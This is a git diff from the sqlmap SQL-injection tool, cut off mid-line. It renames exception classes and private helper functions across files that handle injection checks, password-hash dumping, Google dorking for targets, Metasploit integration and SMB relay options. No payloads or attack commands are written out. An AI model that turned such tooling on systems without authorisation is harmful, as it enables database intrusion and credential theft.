diff --git a/_sqlmap.py b/_sqlmap.py index 067671d52..f3a9bbf3f 100755 --- a/_sqlmap.py +++ b/_sqlmap.py @@ -28,8 +28,8 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.common import unhandledExceptionMessage from lib.core.exception import exceptionsTuple -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapUserQuitException from lib.core.option import init from lib.core.profiling import profile from lib.core.settings import LEGAL_DISCLAIMER @@ -72,11 +72,11 @@ def main(): else: start() - except sqlmapUserQuitException: + except SqlmapUserQuitException: errMsg = "user quit" logger.error(errMsg) - except (sqlmapSilentQuitException, bdb.BdbQuit): + except (SqlmapSilentQuitException, bdb.BdbQuit): pass except exceptionsTuple, e: diff --git a/lib/controller/action.py b/lib/controller/action.py index 1b73e0b50..7af620a4d 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -13,8 +13,8 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS from lib.techniques.brute.use import columnExists from lib.techniques.brute.use import tableExists @@ -52,7 +52,7 @@ def action(): errMsg += ". Support for this DBMS will be implemented at " errMsg += "some point" - raise sqlmapUnsupportedDBMSException, errMsg + raise SqlmapUnsupportedDBMSException, errMsg dataToStdout("%s\n" % conf.dbmsHandler.getFingerprint()) @@ -79,7 +79,7 @@ def action(): try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash") - except sqlmapNoneDataException, ex: + except SqlmapNoneDataException, ex: logger.critical(ex) except: raise @@ -88,7 +88,7 @@ def action(): try: conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege") - except sqlmapNoneDataException, ex: + except SqlmapNoneDataException, ex: logger.critical(ex) except: raise @@ -97,7 +97,7 @@ def action(): try: conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role") - except sqlmapNoneDataException, ex: + except SqlmapNoneDataException, ex: logger.critical(ex) except: raise diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 9c7c492cb..f20afc78b 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -47,10 +47,10 @@ from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import SUHOSHIN_MAX_VALUE_LENGTH @@ -407,7 +407,7 @@ def checkSqlInjection(place, parameter, value): injectable = True - except sqlmapConnectionException, msg: + except SqlmapConnectionException, msg: debugMsg = "problem occured most likely because the " debugMsg += "server hasn't recovered as expected from the " debugMsg += "error-based payload used ('%s')" % msg @@ -546,7 +546,7 @@ def checkSqlInjection(place, parameter, value): elif choice[0] in ("e", "E"): kb.endDetection = True elif choice[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException finally: # Reset forced back-end DBMS value @@ -749,7 +749,7 @@ def checkDynParam(place, parameter, value): randInt = randomInt() payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) - except sqlmapConnectionException: + except SqlmapConnectionException: pass result = None if dynResult is None else not dynResult @@ -848,7 +848,7 @@ def checkStability(): test = readInput(message, default="C") if test and test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException elif test and test[0] in ("s", "S"): showStaticWords(firstPage, secondPage) @@ -867,7 +867,7 @@ def checkStability(): kb.nullConnection = None else: errMsg = "Empty value supplied" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg elif test and test[0] in ("r", "R"): message = "please enter value for parameter 'regex': " @@ -884,7 +884,7 @@ def checkStability(): kb.nullConnection = None else: errMsg = "Empty value supplied" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg else: checkDynamicContent(firstPage, secondPage) @@ -1013,9 +1013,9 @@ def checkNullConnection(): infoMsg += "'%s'" % kb.nullConnection logger.info(infoMsg) - except sqlmapConnectionException, errMsg: + except SqlmapConnectionException, errMsg: errMsg = getUnicode(errMsg) - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg return kb.nullConnection is not None @@ -1025,7 +1025,7 @@ def checkConnection(suppressOutput=False): socket.getaddrinfo(conf.hostname, None) except socket.gaierror: errMsg = "host '%s' does not exist" % conf.hostname - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg if not suppressOutput: infoMsg = "testing connection to the target url" @@ -1039,7 +1039,7 @@ def checkConnection(suppressOutput=False): if not kb.originalPage and wasLastRequestHTTPError(): errMsg = "unable to retrieve page content" - raise sqlmapConnectionException, errMsg + raise SqlmapConnectionException, errMsg elif wasLastRequestDBMSError(): warnMsg = "there is a DBMS error found in the HTTP response body " warnMsg += "which could interfere with the results of the tests" @@ -1051,7 +1051,7 @@ def checkConnection(suppressOutput=False): else: kb.errorIsNone = True - except sqlmapConnectionException, errMsg: + except SqlmapConnectionException, errMsg: errMsg = getUnicode(errMsg) logger.critical(errMsg) @@ -1069,7 +1069,7 @@ def checkConnection(suppressOutput=False): msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] " if readInput(msg, default="Y") not in ("n", "N"): - raise sqlmapSilentQuitException + raise SqlmapSilentQuitException else: kb.ignoreNotFound = True else: diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 96bffdca8..6e4c86a33 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -41,11 +41,11 @@ from lib.core.enums import HTTPMETHOD from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import exceptionsTuple -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapNotVulnerableException -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapValueException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapValueException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import ASP_NET_CONTROL_REGEX from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX @@ -58,7 +58,7 @@ from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from thirdparty.pagerank.pagerank import get_pagerank -def __selectInjection(): +def _selectInjection(): """ Selection function for injection place, parameters and type. """ @@ -113,14 +113,14 @@ def __selectInjection(): if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0: index = int(select) elif select[0] in ( "Q", "q" ): - raise sqlmapUserQuitException + raise SqlmapUserQuitException else: errMsg = "invalid choice" - raise sqlmapValueException, errMsg + raise SqlmapValueException, errMsg kb.injection = kb.injections[index] -def __formatInjection(inj): +def _formatInjection(inj): data = "Place: %s\n" % inj.place data += "Parameter: %s\n" % inj.parameter @@ -143,11 +143,11 @@ def __formatInjection(inj): return data -def __showInjections(): +def _showInjections(): header = "sqlmap identified the following injection points with " header += "a total of %d HTTP(s) requests" % kb.testQueryCount - data = "".join(set(map(lambda x: __formatInjection(x), kb.injections))).rstrip("\n") + data = "".join(set(map(lambda x: _formatInjection(x), kb.injections))).rstrip("\n") conf.dumper.technic(header, data) @@ -156,7 +156,7 @@ def __showInjections(): infoMsg += "included in shown payload content(s)" logger.info(infoMsg) -def __randomFillBlankFields(value): +def _randomFillBlankFields(value): retVal = value if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value): @@ -173,7 +173,7 @@ def __randomFillBlankFields(value): return retVal -def __saveToHashDB(): +def _saveToHashDB(): injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or [] injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None) @@ -196,7 +196,7 @@ def __saveToHashDB(): if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS): hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True) -def __saveToResultsFile(): +def _saveToResultsFile(): if not conf.resultsFP: return @@ -310,7 +310,7 @@ def start(): if conf.method == HTTPMETHOD.POST: message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) - conf.data = __randomFillBlankFields(conf.data) + conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data elif conf.method == HTTPMETHOD.GET: @@ -319,7 +319,7 @@ def start(): secondPart = targetUrl[targetUrl.find("?")+1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) - test = __randomFillBlankFields(test) + test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() @@ -493,7 +493,7 @@ def start(): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg else: errMsg = "all tested parameters appear to be not injectable." @@ -541,15 +541,15 @@ def start(): errMsg += "expression that you have choosen " errMsg += "does not match exclusively True responses" - raise sqlmapNotVulnerableException, errMsg + raise SqlmapNotVulnerableException, errMsg else: # Flush the flag kb.testMode = False - __saveToResultsFile() - __saveToHashDB() - __showInjections() - __selectInjection() + _saveToResultsFile() + _saveToHashDB() + _showInjections() + _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: @@ -576,14 +576,14 @@ def start(): elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException + raise SqlmapUserQuitException else: raise - except sqlmapUserQuitException: + except SqlmapUserQuitException: raise - except sqlmapSilentQuitException: + except SqlmapSilentQuitException: raise except exceptionsTuple, e: diff --git a/lib/core/agent.py b/lib/core/agent.py index 17bfb1364..fd5957b18 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -24,7 +24,7 @@ from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import GENERIC_SQL_COMMENT @@ -252,7 +252,7 @@ class Agent(object): else: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg return payload diff --git a/lib/core/common.py b/lib/core/common.py index 92868633a..850b7e405 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -67,14 +67,14 @@ from lib.core.enums import PLACE from lib.core.enums import PAYLOAD from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import SORT_ORDER -from lib.core.exception import sqlmapDataException -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapMissingDependence -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapUserQuitException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import BOLD_PATTERNS @@ -539,7 +539,7 @@ def paramToDict(place, parameters=None): message = "Are you sure you want to continue? [y/N] " test = readInput(message, default="N") if test[0] not in ("y", "Y"): - raise sqlmapSilentQuitException + raise SqlmapSilentQuitException if conf.testParameter and not testableParameters: paramStr = ", ".join(test for test in conf.testParameter) @@ -806,7 +806,7 @@ def readInput(message, default=None, checkBatch=True): except: time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893 kb.prependFlag = True - raise sqlmapUserQuitException + raise SqlmapUserQuitException finally: logging._releaseLock() @@ -853,7 +853,7 @@ def checkFile(filename): """ if not os.path.isfile(filename): - raise sqlmapFilePathException, "unable to read file '%s'" % filename + raise SqlmapFilePathException, "unable to read file '%s'" % filename def banner(): """ @@ -989,7 +989,7 @@ def parseTargetDirect(): errMsg = "invalid target details, valid syntax is for instance " errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' " errMsg += "or 'access://DATABASE_FILEPATH'" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg for dbmsName, data in DBMS_DICT.items(): if conf.dbms in data[0]: @@ -1004,7 +1004,7 @@ def parseTargetDirect(): conf.port = 0 elif not remote: errMsg = "missing remote connection details" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): import _mssql @@ -1014,7 +1014,7 @@ def parseTargetDirect(): errMsg = "'%s' third-party library must be " % data[1] errMsg += "version >= 1.0.2 to work properly. " errMsg += "Download from '%s'" % data[2] - raise sqlmapMissingDependence, errMsg + raise SqlmapMissingDependence, errMsg elif dbmsName == DBMS.MYSQL: import pymysql @@ -1032,7 +1032,7 @@ def parseTargetDirect(): errMsg = "sqlmap requires '%s' third-party library " % data[1] errMsg += "in order to directly connect to the database " errMsg += "%s. Download from '%s'" % (dbmsName, data[2]) - raise sqlmapMissingDependence, errMsg + raise SqlmapMissingDependence, errMsg def parseTargetUrl(): """ @@ -1047,7 +1047,7 @@ def parseTargetUrl(): if re.search("\[.+\]", conf.url) and not socket.has_ipv6: errMsg = "IPv6 addressing is not supported " errMsg += "on this platform" - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg if not re.search("^http[s]*://", conf.url, re.I): if ":443/" in conf.url: @@ -1075,14 +1075,14 @@ def parseTargetUrl(): if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'))): errMsg = "invalid target url" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg if len(hostnamePort) == 2: try: conf.port = int(hostnamePort[1]) except: errMsg = "invalid target url" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg elif conf.scheme == "https": conf.port = 443 else: @@ -1351,7 +1351,7 @@ def safeStringFormat(format_, params): if count < len(params): retVal = retVal[:index] + getUnicode(params[count]) + retVal[index + 2:] else: - raise sqlmapNoneDataException, "wrong number of parameters during string formatting" + raise SqlmapNoneDataException, "wrong number of parameters during string formatting" count += 1 return retVal @@ -2420,11 +2420,11 @@ def initTechnique(technique=None): warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) logger.warn(warnMsg) - except sqlmapDataException: + except SqlmapDataException: errMsg = "missing data in old session file(s). " errMsg += "Please use '--flush-session' to deal " errMsg += "with this error" - raise sqlmapNoneDataException, errMsg + raise SqlmapNoneDataException, errMsg def arrayizeValue(value): """ @@ -2543,7 +2543,7 @@ def openFile(filename, mode='r'): errMsg += "Please check %s permissions on a file " % ("write" if \ mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process." - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg def decodeIntToUnicode(value): """ @@ -2857,7 +2857,7 @@ def expandMnemonics(mnemonics, parser, args): if pointer in (None, head): errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg elif len(pointer.current) > 1: options = {} @@ -2896,7 +2896,7 @@ def expandMnemonics(mnemonics, parser, args): setattr(args, found.dest, True) else: errMsg = "mnemonic '%s' requires value of type '%s'" % (name, found.type) - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg def safeCSValue(value): """ @@ -3044,7 +3044,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): if not content: errMsg = "can't parse forms as the page content appears to be blank" if raise_: - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg else: logger.debug(errMsg) @@ -3064,7 +3064,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): except ParseError: errMsg = "no success" if raise_: - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg else: logger.debug(errMsg) @@ -3085,7 +3085,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): errMsg = "there has been a problem while " errMsg += "processing page forms ('%s')" % ex if raise_: - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg else: logger.debug(errMsg) else: @@ -3104,7 +3104,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False): else: errMsg = "there were no forms found at the given target url" if raise_: - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg else: logger.debug(errMsg) @@ -3152,7 +3152,7 @@ def checkDeprecatedOptions(args): errMsg = "switch/option '%s' is deprecated" % _ if _ in DEPRECATED_HINTS: errMsg += " (hint: %s)" % DEPRECATED_HINTS[_] - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg def evaluateCode(code, variables=None): """ @@ -3165,7 +3165,7 @@ def evaluateCode(code, variables=None): raise except Exception, ex: errMsg = "an error occured while evaluating provided code ('%s'). " % ex - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg def serializeObject(object_): """ @@ -3304,7 +3304,7 @@ def resetCookieJar(cookieJar): except cookielib.LoadError, msg: errMsg = "there was a problem loading " errMsg += "cookies file ('%s')" % msg - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg def prioritySortColumns(columns): """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 91f50a472..62a0762e6 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -8,7 +8,7 @@ See the file 'doc/COPYING' for copying permission import copy import types -from lib.core.exception import sqlmapDataException +from lib.core.exception import SqlmapDataException class AttribDict(dict): """ @@ -38,7 +38,7 @@ class AttribDict(dict): try: return self.__getitem__(item) except KeyError: - raise sqlmapDataException, "unable to access item '%s'" % item + raise SqlmapDataException, "unable to access item '%s'" % item def __setattr__(self, item, value): """ diff --git a/lib/core/dump.py b/lib/core/dump.py index 363e39b9b..8d03fb6df 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -27,8 +27,8 @@ from lib.core.data import logger from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import DBMS from lib.core.enums import DUMP_FORMAT -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapValueException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapValueException from lib.core.replication import Replication from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import METADB_SUFFIX @@ -68,7 +68,7 @@ class Dump(object): self._outputFP = codecs.open(self._outputFile, "ab", UNICODE_ENCODING) except IOError, ex: errMsg = "error occurred while opening log file ('%s')" % ex - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg def getOutputFile(self): return self._outputFile @@ -490,7 +490,7 @@ class Dump(object): if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) - except sqlmapValueException: + except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") diff --git a/lib/core/exception.py b/lib/core/exception.py index 966342e84..487477aef 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -5,79 +5,79 @@ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -class sqlmapCompressionException(Exception): +class SqlmapCompressionException(Exception): pass -class sqlmapConnectionException(Exception): +class SqlmapConnectionException(Exception): pass -class sqlmapDataException(Exception): +class SqlmapDataException(Exception): pass -class sqlmapFilePathException(Exception): +class SqlmapFilePathException(Exception): pass -class sqlmapGenericException(Exception): +class SqlmapGenericException(Exception): pass -class sqlmapMissingDependence(Exception): +class SqlmapMissingDependence(Exception): pass -class sqlmapMissingMandatoryOptionException(Exception): +class SqlmapMissingMandatoryOptionException(Exception): pass -class sqlmapMissingPrivileges(Exception): +class SqlmapMissingPrivileges(Exception): pass -class sqlmapNoneDataException(Exception): +class SqlmapNoneDataException(Exception): pass -class sqlmapNotVulnerableException(Exception): +class SqlmapNotVulnerableException(Exception): pass -class sqlmapSilentQuitException(Exception): +class SqlmapSilentQuitException(Exception): pass -class sqlmapUserQuitException(Exception): +class SqlmapUserQuitException(Exception): pass -class sqlmapRegExprException(Exception): +class SqlmapRegExprException(Exception): pass -class sqlmapSyntaxException(Exception): +class SqlmapSyntaxException(Exception): pass -class sqlmapThreadException(Exception): +class SqlmapThreadException(Exception): pass -class sqlmapUndefinedMethod(Exception): +class SqlmapUndefinedMethod(Exception): pass -class sqlmapUnsupportedDBMSException(Exception): +class SqlmapUnsupportedDBMSException(Exception): pass -class sqlmapUnsupportedFeatureException(Exception): +class SqlmapUnsupportedFeatureException(Exception): pass -class sqlmapValueException(Exception): +class SqlmapValueException(Exception): pass exceptionsTuple = ( - sqlmapCompressionException, - sqlmapConnectionException, - sqlmapDataException, - sqlmapFilePathException, - sqlmapGenericException, - sqlmapMissingDependence, - sqlmapMissingMandatoryOptionException, - sqlmapNoneDataException, - sqlmapRegExprException, - sqlmapSyntaxException, - sqlmapUndefinedMethod, - sqlmapMissingPrivileges, - sqlmapNotVulnerableException, - sqlmapThreadException, - sqlmapUnsupportedDBMSException, - sqlmapUnsupportedFeatureException, - sqlmapValueException, + SqlmapCompressionException, + SqlmapConnectionException, + SqlmapDataException, + SqlmapFilePathException, + SqlmapGenericException, + SqlmapMissingDependence, + SqlmapMissingMandatoryOptionException, + SqlmapNoneDataException, + SqlmapRegExprException, + SqlmapSyntaxException, + SqlmapUndefinedMethod, + SqlmapMissingPrivileges, + SqlmapNotVulnerableException, + SqlmapThreadException, + SqlmapUnsupportedDBMSException, + SqlmapUnsupportedFeatureException, + SqlmapValueException, ) diff --git a/lib/core/option.py b/lib/core/option.py index d47d42ac0..83da7f6de 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -71,16 +71,16 @@ from lib.core.enums import PRIORITY from lib.core.enums import PROXY_TYPE from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import WIZARD -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapMissingDependence -from lib.core.exception import sqlmapMissingMandatoryOptionException -from lib.core.exception import sqlmapMissingPrivileges -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapUnsupportedDBMSException -from lib.core.exception import sqlmapUserQuitException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapMissingPrivileges +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapUserQuitException from lib.core.log import FORMATTER from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict @@ -186,12 +186,12 @@ def __urllib2Opener(): opener = urllib2.build_opener(*handlers) urllib2.install_opener(opener) -def __feedTargetsDict(reqFile, addedTargetUrls): +def _feedTargetsDict(reqFile, addedTargetUrls): """ Parses web scarab and burp logs and adds results to the target url list """ - def __parseWebScarabLog(content): + def _parseWebScarabLog(content): """ Parses web scarab logs (POST method not supported) """ @@ -219,7 +219,7 @@ def __feedTargetsDict(reqFile, addedTargetUrls): kb.targets.add((url, method, None, cookie)) addedTargetUrls.add(url) - def __parseBurpLog(content): + def _parseBurpLog(content): """ Parses burp logs """ @@ -337,10 +337,10 @@ def __feedTargetsDict(reqFile, addedTargetUrls): if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) - __parseBurpLog(content) - __parseWebScarabLog(content) + _parseBurpLog(content) + _parseWebScarabLog(content) -def __loadQueries(): +def _loadQueries(): """ Loads queries from 'xml/queries.xml' file. """ @@ -371,7 +371,7 @@ def __loadQueries(): for node in tree.findall("*"): queries[node.attrib['value']] = iterate(node) -def __setMultipleTargets(): +def _setMultipleTargets(): """ Define a configuration parameter if we are running in multiple target mode. @@ -388,10 +388,10 @@ def __setMultipleTargets(): if not os.path.exists(conf.logFile): errMsg = "the specified list of targets does not exist" - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg if os.path.isfile(conf.logFile): - __feedTargetsDict(conf.logFile, addedTargetUrls) + _feedTargetsDict(conf.logFile, addedTargetUrls) elif os.path.isdir(conf.logFile): files = os.listdir(conf.logFile) @@ -401,12 +401,12 @@ def __setMultipleTargets(): if not re.search("([\d]+)\-request", reqFile): continue - __feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) + _feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) else: errMsg = "the specified list of targets is not a file " errMsg += "nor a directory" - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg updatedTargetsCount = len(kb.targets) @@ -415,7 +415,7 @@ def __setMultipleTargets(): infoMsg += "testable requests from the targets list" logger.info(infoMsg) -def __adjustLoggingFormatter(): +def _adjustLoggingFormatter(): """ Solves problem of line deletition caused by overlapping logging messages and retrieved data info in inference mode @@ -434,7 +434,7 @@ def __adjustLoggingFormatter(): FORMATTER._format = FORMATTER.format FORMATTER.format = format -def __setRequestFromFile(): +def _setRequestFromFile(): """ This function checks if the way to make a HTTP request is through supplied textual file, parses it and saves the information into the knowledge base. @@ -453,18 +453,18 @@ def __setRequestFromFile(): if not os.path.isfile(conf.requestFile): errMsg = "the specified HTTP request file " errMsg += "does not exist" - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg - __feedTargetsDict(conf.requestFile, addedTargetUrls) + _feedTargetsDict(conf.requestFile, addedTargetUrls) -def __setCrawler(): +def _setCrawler(): if not conf.crawlDepth: return crawler = Crawler() crawler.getTargetUrls() -def __setGoogleDorking(): +def _setGoogleDorking(): """ This function checks if the way to request testable hosts is through Google dorking then requests to Google the search parameter, parses @@ -504,7 +504,7 @@ def __setGoogleDorking(): if not links: errMsg = "unable to find results for your " errMsg += "Google dork expression" - raise sqlmapGenericException, errMsg + raise SqlmapGenericException, errMsg for link in links: link = urldecode(link) @@ -544,11 +544,11 @@ def __setGoogleDorking(): test = readInput(message, default="Y") if test[0] in ("n", "N"): - raise sqlmapSilentQuitException + raise SqlmapSilentQuitException else: conf.googlePage += 1 -def __setBulkMultipleTargets(): +def _setBulkMultipleTargets(): if not conf.bulkFile: return @@ -560,13 +560,13 @@ def __setBulkMultipleTargets(): if not os.path.isfile(conf.bulkFile): errMsg = "the specified bulk file " errMsg += "does not exist" - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg for line in getFileItems(conf.bulkFile): if re.search(r"[^ ]+\?(.+)", line, re.I): kb.targets.add((line.strip(), None, None, None)) -def __findPageForms(): +def _findPageForms(): if not conf.forms or conf.crawlDepth: return @@ -580,7 +580,7 @@ def __findPageForms(): findPageForms(page, conf.url, True, True) -def __setDBMSAuthentication(): +def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as another user, not the session user @@ -597,12 +597,12 @@ def __setDBMSAuthentication(): if not match: errMsg = "DBMS authentication credentials value must be in format " errMsg += "username:password" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException, errMsg conf.dbmsUsername = match.group(1) conf.dbmsPassword = match.group(2) -def __setMetasploit(): +def _setMetasploit(): if not conf.osPwn and not conf.osSmb and not conf.osBof: return @@ -636,7 +636,7 @@ def __setMetasploit(): errMsg += "if you want to perform a SMB relay attack because " errMsg += "it will need to listen on a user-specified SMB " errMsg += "TCP port for incoming connection attempts" - raise sqlmapMissingPrivileges, errMsg + raise SqlmapMissingPrivileges, errMsg if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): @@ -685,9 +685,9 @@ def __setMetasploit(): if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " errMsg += "Get it from http://metasploit.com/framework/download/" - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg -def __setWriteFile(): +def _setWriteFile(): if not conf.wFile: return @@ -696,16 +696,16 @@ def __setWriteFile(): if not os.path.exists(conf.wFile): errMsg = "the provided local file '%s' does not exist" % conf.wFile - raise sqlmapFilePathException, errMsg + raise SqlmapFilePathException, errMsg if not conf.dFile: errMsg = "you did not provide the back-end DBMS absolute path " errMsg += "where you want to write the local file '%s'" % conf.wFile - raise sqlmapMissingMandatoryOptionException, errMsg + raise SqlmapMissingMandatoryOptionException, errMsg conf.wFileType = getFileType(conf.wFile) -def 